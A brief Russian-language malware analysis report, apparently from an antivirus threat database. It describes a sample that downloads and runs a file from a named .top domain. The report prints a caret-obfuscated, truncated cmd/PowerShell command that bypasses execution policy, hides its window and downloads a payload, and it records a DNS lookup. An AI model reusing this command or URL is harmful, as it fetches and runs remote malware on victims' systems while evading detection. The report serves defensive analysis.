Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://smoeroota.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POWeR^She^LL.E^Xe -^EXEC^UtiOnpoLi^cy bY^pass^ -noPR^oFiL^E -w^In^dOwS^TY^L^E HiD^d^en^ (neW^-Ob^j^e^cT S^yStE^m.^n^eT^.webClI^eNt^).^Dow^NLO^adF^il^E^(^'http://smo...
Сетевая активность
UDP
- DNS ASK sm###oota.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POWeR^She^LL.E^Xe -^EXEC^UtiOnpoLi^cy bY^pass^ -noPR^oFiL^E -w^In^dOwS^TY^L^E HiD^d^en^ (neW^-Ob^j^e^cT S^yStE^m.^n^eT^.webClI^eNt^).^Dow^NLO^adF^il^E^(^'http://smo...' (со скрытым окном)
